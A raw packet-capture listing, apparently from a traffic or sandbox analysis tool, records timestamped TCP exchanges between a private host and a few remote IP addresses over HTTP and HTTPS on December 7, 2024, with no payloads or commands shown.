Dec 7, 2024 00:15:20.942975998 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.943139076 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.943708897 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.943778992 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.943811893 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.943851948 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.944545984 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.944605112 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.944679022 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.944717884 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.945425034 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.945523977 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.945528984 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.945564985 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.946290970 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.946335077 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.946398973 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.946453094 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.947119951 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.947165966 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.947223902 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.947266102 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.947985888 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.948036909 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.948059082 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.948131084 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.995646954 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.995722055 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.995791912 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.995913029 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.996005058 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.996052027 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.996251106 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.996301889 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.996880054 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.996928930 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.996973038 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.997205019 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.997769117 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.997817039 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.997912884 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.998032093 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.999147892 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.999193907 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.999285936 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.999481916 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.999494076 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.999516964 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.999535084 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:21.000262976 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:21.000313044 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:21.000377893 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:21.000610113 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:21.001239061 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:21.001250982 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:21.001282930 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:21.001296043 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:21.002037048 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:21.002089024 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:21.002183914 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:21.002227068 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:21.002846003 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:21.002898932 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:21.002978086 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:21.003041029 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:21.003634930 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:21.003680944 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:21.003838062 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:21.004071951 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:21.004529953 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:21.004576921 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:21.004616976 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:21.004681110 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:21.005352020 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:21.005409956 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:21.005479097 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:21.005563974 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:21.006206036 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:21.006254911 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:21.107398033 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:21.107491016 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:21.107501984 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:21.107517004 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:21.107539892 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:21.107709885 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:21.107758045 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:21.108263969 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:21.108321905 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:21.108422995 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:21.108464956 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:21.109134912 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:21.109221935 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:21.109258890 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:21.109298944 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:21.109968901 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:21.110023022 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:21.110101938 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:21.110160112 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:21.110821962 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:21.110865116 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:21.110955000 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:21.111000061 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:21.111696959 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:21.111841917 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:21.111881971 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:21.112273932 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:21.112545013 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:21.112595081 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:21.112831116 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:21.112876892 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:21.113389969 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:21.113442898 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:21.113535881 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:21.113657951 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:21.114259958 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:21.114312887 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:21.114397049 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:21.114443064 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:21.115101099 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:21.115154982 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:21.115233898 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:21.115315914 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:21.115942001 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:21.115982056 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:21.116120100 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:21.116173029 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:21.116807938 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:21.116856098 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:21.116898060 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:21.116939068 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:21.117676020 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:21.117724895 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:21.117814064 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:21.117858887 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:21.118508101 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:21.118551970 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:21.118617058 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:21.118663073 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:21.119359016 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:21.119401932 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:21.119463921 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:21.119504929 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:21.120229006 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:21.120280027 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:21.120328903 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:21.120405912 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:21.121072054 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:21.121117115 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:21.121195078 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:21.121239901 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:21.121992111 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:21.122033119 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:21.122289896 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:21.122338057 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:21.122760057 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:21.122812033 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:21.123040915 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:21.123101950 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:21.123647928 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:21.123708963 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:21.123748064 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:21.123790979 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:21.124530077 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:21.124583006 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:21.124619007 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:21.124701977 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:21.124773026 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:21.125349998 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:21.125400066 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:21.125525951 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:21.125567913 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:21.126221895 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:21.126266956 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:21.126277924 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:21.126316071 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:21.126816034 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:21.126863956 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:21.126872063 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:21.126910925 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:21.127573013 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:21.127756119 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:21.127769947 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:21.127806902 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:21.128525972 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:21.128627062 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:21.128699064 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:21.128745079 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:21.129287958 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:21.129342079 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:21.129607916 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:21.129760981 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:21.130156994 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:21.130220890 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:21.130254984 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:21.130292892 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:21.131009102 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:21.131061077 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:21.131114960 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:21.131160021 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:21.131864071 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:21.131907940 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:21.131973028 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:21.132013083 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:21.132708073 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:21.132756948 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:21.132790089 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:21.132886887 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:21.133532047 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:21.133583069 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:21.133654118 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:21.133800030 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:21.134413004 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:21.134454966 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:21.134586096 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:21.134632111 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:21.135262966 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:21.135320902 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:21.135344982 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:21.135426998 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:21.136147976 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:21.136199951 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:21.136230946 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:21.136270046 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:21.136970997 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:21.137032986 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:21.137070894 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:21.137106895 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:21.137849092 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:21.137901068 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:21.137998104 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:21.138041973 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:21.138734102 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:21.138776064 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:21.139010906 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:21.139076948 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:21.139539957 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:21.139580965 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:21.139662027 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:21.139698029 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:21.140376091 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:21.140429974 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:21.692507029 CET	443	49728	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:21.694155931 CET	49728	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:21.694185972 CET	443	49728	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:21.694674015 CET	49728	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:21.694679976 CET	443	49728	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:21.697683096 CET	443	49727	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:21.701925993 CET	49727	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:21.701945066 CET	443	49727	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:21.702549934 CET	49727	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:21.702562094 CET	443	49727	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:21.703655958 CET	443	49729	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:21.703952074 CET	443	49730	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:21.705718040 CET	49729	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:21.705743074 CET	443	49729	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:21.706147909 CET	49729	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:21.706154108 CET	443	49729	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:21.710524082 CET	49730	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:21.710553885 CET	443	49730	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:21.710844994 CET	443	49731	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:21.710943937 CET	49730	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:21.710951090 CET	443	49730	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:21.711827040 CET	49731	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:21.711841106 CET	443	49731	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:21.712275982 CET	49731	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:21.712280989 CET	443	49731	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:22.126564026 CET	443	49728	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:22.126617908 CET	443	49728	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:22.126682043 CET	49728	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:22.143760920 CET	443	49727	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:22.143814087 CET	443	49727	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:22.143879890 CET	49727	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:22.144159079 CET	443	49729	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:22.144233942 CET	443	49729	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:22.144274950 CET	49729	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:22.147558928 CET	443	49730	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:22.147623062 CET	443	49730	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:22.147676945 CET	49730	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:22.151869059 CET	443	49731	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:22.151921034 CET	443	49731	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:22.151972055 CET	49731	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:22.190593958 CET	49728	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:22.190623045 CET	443	49728	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:22.190639019 CET	49728	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:22.190645933 CET	443	49728	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:22.234324932 CET	49730	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:22.234342098 CET	443	49730	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:22.234354973 CET	49730	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:22.234359980 CET	443	49730	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:22.234729052 CET	49731	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:22.234755039 CET	443	49731	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:22.234766960 CET	49731	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:22.234772921 CET	443	49731	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:22.238156080 CET	49727	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:22.238161087 CET	443	49727	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:22.238184929 CET	49727	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:22.238188982 CET	443	49727	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:22.239427090 CET	49729	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:22.239433050 CET	443	49729	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:22.239458084 CET	49729	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:22.239460945 CET	443	49729	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:22.394509077 CET	49732	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:22.394542933 CET	443	49732	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:22.394615889 CET	49732	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:22.443613052 CET	49732	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:22.443638086 CET	443	49732	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:22.537302971 CET	49735	443	192.168.2.6	142.250.181.100
Dec 7, 2024 00:15:22.537337065 CET	443	49735	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:22.537404060 CET	49735	443	192.168.2.6	142.250.181.100
Dec 7, 2024 00:15:22.537959099 CET	49736	443	192.168.2.6	142.250.181.100
Dec 7, 2024 00:15:22.537991047 CET	443	49736	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:22.538049936 CET	49736	443	192.168.2.6	142.250.181.100
Dec 7, 2024 00:15:22.538281918 CET	49737	443	192.168.2.6	142.250.181.100
Dec 7, 2024 00:15:22.538311005 CET	443	49737	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:22.538362980 CET	49737	443	192.168.2.6	142.250.181.100
Dec 7, 2024 00:15:22.538572073 CET	49738	443	192.168.2.6	142.250.181.100
Dec 7, 2024 00:15:22.538579941 CET	443	49738	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:22.538654089 CET	49738	443	192.168.2.6	142.250.181.100
Dec 7, 2024 00:15:22.538923025 CET	49737	443	192.168.2.6	142.250.181.100
Dec 7, 2024 00:15:22.538938999 CET	443	49737	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:22.539124966 CET	49736	443	192.168.2.6	142.250.181.100
Dec 7, 2024 00:15:22.539138079 CET	443	49736	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:22.539269924 CET	49735	443	192.168.2.6	142.250.181.100
Dec 7, 2024 00:15:22.539283037 CET	443	49735	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:22.539827108 CET	49738	443	192.168.2.6	142.250.181.100
Dec 7, 2024 00:15:22.539838076 CET	443	49738	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:22.540785074 CET	49740	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:22.540803909 CET	443	49740	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:22.540863991 CET	49740	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:22.569617987 CET	49741	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:22.569664001 CET	443	49741	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:22.569786072 CET	49741	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:22.581389904 CET	49740	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:22.581401110 CET	443	49740	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:22.600786924 CET	49742	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:22.600800991 CET	443	49742	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:22.600862980 CET	49742	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:22.600950003 CET	49741	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:22.600966930 CET	443	49741	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:22.601747990 CET	49743	443	192.168.2.6	13.107.246.63
